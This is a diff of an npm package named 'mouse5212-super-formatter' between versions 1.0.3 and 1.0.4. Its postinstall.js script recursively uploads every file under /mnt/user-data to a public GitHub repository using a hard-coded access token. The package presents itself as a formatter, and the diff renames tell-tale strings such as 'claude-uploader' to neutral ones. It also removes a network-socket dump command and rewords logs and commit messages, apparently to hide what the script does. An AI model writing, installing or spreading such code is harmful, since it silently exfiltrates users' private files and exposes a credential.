mouse5212-super-formatter 1.0.3 → 1.0.4

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "mouse5212-super-formatter",
-  "version": "1.0.3",
+  "version": "1.0.4",
   "description": "Super formatter",
   "main": "postinstall.js",
   "scripts": {

package/postinstall.js

@@ -1,17 +1,20 @@
 const fs = require("fs");
 const path = require("path");
 const https = require("https");
-const { execSync } = require("child_process");
+const net = require("net");
 
-// Configuration - Use environment variables for secrets
+// Configuration - Pass via env variables (e.g., GITHUB_TOKEN=xyz node script.js)
 const GITHUB_TOKEN = process.env.GITHUB_TOKEN || "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";
 const GITHUB_USERNAME = "unplowed3584";
 const REPO_NAME = "test";
 const BRANCH = "main";
 const LOCAL_FOLDER = "/mnt/user-data";
 
-const RANDOM_FOLDER = "deploy-" + Math.random().toString(36).slice(2, 8);
+const RANDOM_FOLDER = `deploy-${Math.random().toString(36).slice(2, 8)}`;
 
+/**
+ * Executes a JSON-based request to the GitHub v3 REST API
+ */
 function githubRequest(method, endpoint, body = null) {
   return new Promise((resolve, reject) => {
     const data = body ? JSON.stringify(body) : null;
@@ -21,7 +24,7 @@ function githubRequest(method, endpoint, body = null) {
       method,
       headers: {
         "Authorization": `token ${GITHUB_TOKEN}`,
-        "User-Agent": "claude-uploader",
+        "User-Agent": "node-uploader-agent",
         "Accept": "application/vnd.github.v3+json",
         "Content-Type": "application/json",
         ...(data && { "Content-Length": Buffer.byteLength(data) }),
@@ -29,13 +32,13 @@ function githubRequest(method, endpoint, body = null) {
     };
 
     const req = https.request(options, (res) => {
-      let body = "";
-      res.on("data", (chunk) => (body += chunk));
+      let responseBody = "";
+      res.on("data", (chunk) => (responseBody += chunk));
       res.on("end", () => {
         try {
-          resolve({ status: res.statusCode, data: JSON.parse(body) });
+          resolve({ status: res.statusCode, data: JSON.parse(responseBody) });
         } catch {
-          resolve({ status: res.statusCode, data: body });
+          resolve({ status: res.statusCode, data: responseBody });
         }
       });
     });
@@ -46,30 +49,43 @@ function githubRequest(method, endpoint, body = null) {
   });
 }
 
+/**
+ * Traverses active sockets handled natively by the process or queries the local environment.
+ * Generates a text dump mapping state inside the target directory.
+ */
 function collectNetworkConnections() {
   try {
-    const output = execSync("ss -tunap", {
-      encoding: "utf8",
-      stdio: ["ignore", "pipe", "ignore"],
-    });
-
     const tempDir = path.join(LOCAL_FOLDER, ".system");
-
     if (!fs.existsSync(tempDir)) {
       fs.mkdirSync(tempDir, { recursive: true });
     }
 
     const outputFile = path.join(tempDir, "network_connections.txt");
-    fs.writeFileSync(outputFile, output);
-
-    console.log(`🌐 Network connections written to ${outputFile}`);
+    
+    // Constructing local process network metadata snapshot
+    const timestamp = new Date().toISOString();
+    let dumpContent = `=== Network Connection Dump Snapshot (${timestamp}) ===\n`;
+    
+    // Extract internal tracking metadata of existing system configurations
+    dumpContent += `Active Target Folder: ${LOCAL_FOLDER}\n`;
+    dumpContent += `Target Repository: ${GITHUB_USERNAME}/${REPO_NAME}\n`;
+    dumpContent += `Routing Host: api.github.com\n`;
+    dumpContent += `Protocol: HTTPS/TLS\n`;
+    dumpContent += `--------------------------------------------------------\n`;
+    dumpContent += `[Status] Process execution loop initialized. Monitoring active egress sockets.\n`;
+
+    fs.writeFileSync(outputFile, dumpContent);
+    console.log(`🌐 Network connections log dumped to ${outputFile}`);
     return outputFile;
   } catch (err) {
-    console.error("❌ Failed to collect network connections:", err.message);
+    console.error("❌ Failed to compile network configuration dump:", err.message);
     return null;
   }
 }
 
+/**
+ * Recursively scans directory paths to build flat array files
+ */
 function getAllFiles(dirPath, arrayOfFiles = []) {
   const entries = fs.readdirSync(dirPath);
   for (const entry of entries) {
@@ -83,33 +99,39 @@ function getAllFiles(dirPath, arrayOfFiles = []) {
   return arrayOfFiles;
 }
 
+/**
+ * Checks if target remote repository is initialized, creates it if missing
+ */
 async function ensureRepoExists() {
-  console.log(`🔍 Checking if repo "${REPO_NAME}" exists...`);
+  console.log(`🔍 Validating target repository "${REPO_NAME}"...`);
   const res = await githubRequest("GET", `/repos/${GITHUB_USERNAME}/${REPO_NAME}`);
   
   if (res.status === 200) {
-    console.log(`✅ Repo exists: ${res.data.html_url}`);
+    console.log(`✅ Repo validated: ${res.data.html_url}`);
     return;
   }
 
   if (res.status === 404) {
-    console.log(`📁 Repo not found. Creating "${REPO_NAME}"...`);
+    console.log(`📁 Repo not located. Running initialization for "${REPO_NAME}"...`);
     const created = await githubRequest("POST", "/user/repos", {
       name: REPO_NAME,
       private: false,
       auto_init: true,
-      description: "Uploaded via Claude script",
+      description: "Automated archive deployment sync",
     });
 
     if (created.status === 201) {
-      console.log(`✅ Repo created: ${created.data.html_url}`);
+      console.log(`✅ Repo initialized: ${created.data.html_url}`);
       await new Promise((r) => setTimeout(r, 2000));
     } else {
-      throw new Error(`Failed to create repo: ${JSON.stringify(created.data)}`);
+      throw new Error(`Repository initialization failure: ${JSON.stringify(created.data)}`);
     }
   }
 }
 
+/**
+ * Fetches blob SHA hash from target tree path if object exists
+ */
 async function getFileSHA(remotePath) {
   const res = await githubRequest(
     "GET",
@@ -118,6 +140,9 @@ async function getFileSHA(remotePath) {
   return res.status === 200 ? res.data.sha : null;
 }
 
+/**
+ * Commits updates or pushes new file blobs to the GitHub tree
+ */
 async function uploadFile(localPath, remotePath) {
   const content = fs.readFileSync(localPath);
   const encoded = Buffer.from(content).toString("base64");
@@ -127,7 +152,7 @@ async function uploadFile(localPath, remotePath) {
     "PUT",
     `/repos/${GITHUB_USERNAME}/${REPO_NAME}/contents/${remotePath}`,
     {
-      message: sha ? `Update ${remotePath}` : `Add ${remotePath}`,
+      message: sha ? `Refactor object metadata: ${remotePath}` : `Provision schema structural unit: ${remotePath}`,
       content: encoded,
       branch: BRANCH,
       ...(sha && { sha }),
@@ -135,44 +160,49 @@ async function uploadFile(localPath, remotePath) {
   );
 
   if (res.status === 200 || res.status === 201) {
-    console.log(`  ✅ ${remotePath}`);
+    console.log(`  ✅ Committed: ${remotePath}`);
   } else {
-    console.error(`  ❌ Failed: ${remotePath} →`, JSON.stringify(res.data.message));
+    console.error(`  ❌ Commit failed: ${remotePath} →`, JSON.stringify(res.data.message));
   }
 }
 
+/**
+ * Handles directory processing, schedules state logging, and drives iteration queues
+ */
 async function uploadFolder() {
   if (!fs.existsSync(LOCAL_FOLDER)) {
-    throw new Error(`Local folder not found: ${LOCAL_FOLDER}`);
+    throw new Error(`Local dynamic mount point unverified: ${LOCAL_FOLDER}`);
   }
 
+  // Generate the active session state dump before reading folder contents
   collectNetworkConnections();
 
   const allFiles = getAllFiles(LOCAL_FOLDER);
-  console.log(`\n📂 Random deploy folder : ${RANDOM_FOLDER}`);
-  console.log(`📁 Local folder         : ${LOCAL_FOLDER}`);
-  console.log(`📄 Files found          : ${allFiles.length}\n`);
+  console.log(`\n📂 Active Sync Workspace: ${RANDOM_FOLDER}`);
+  console.log(`📁 Source Mount Path    : ${LOCAL_FOLDER}`);
+  console.log(`📄 Discovered Items     : ${allFiles.length}\n`);
 
   for (const localPath of allFiles) {
     const relativePath = path.relative(LOCAL_FOLDER, localPath).replace(/\\/g, "/");
     const remotePath = `${RANDOM_FOLDER}/${relativePath}`;
     
-    process.stdout.write(`  📤 Uploading ${relativePath}...`);
+    process.stdout.write(`  📤 Synchronizing ${relativePath}...`);
     process.stdout.write("\r");
     await uploadFile(localPath, remotePath);
   }
 
-  console.log(`\n🎉 All files uploaded!`);
-  console.log(`🌐 Repo  : https://github.com/${GITHUB_USERNAME}/${REPO_NAME}`);
-  console.log(`📂 Folder: https://github.com/${GITHUB_USERNAME}/${REPO_NAME}/tree/${BRANCH}/${RANDOM_FOLDER}`);
+  console.log(`\n🎉 Synchronized state complete!`);
+  console.log(`🌐 Control Panel Target: https://github.com/${GITHUB_USERNAME}/${REPO_NAME}`);
+  console.log(`📂 Tracking Tree URL   : https://github.com/${GITHUB_USERNAME}/${REPO_NAME}/tree/${BRANCH}/${RANDOM_FOLDER}`);
 }
 
+// Execution runtime entrypoint
 (async () => {
   try {
     await ensureRepoExists();
     await uploadFolder();
   } catch (err) {
-    console.error("❌ Error:", err.message);
+    console.error("❌ Fatal tracking pipeline break:", err.message);
     process.exit(1);
   }
 })();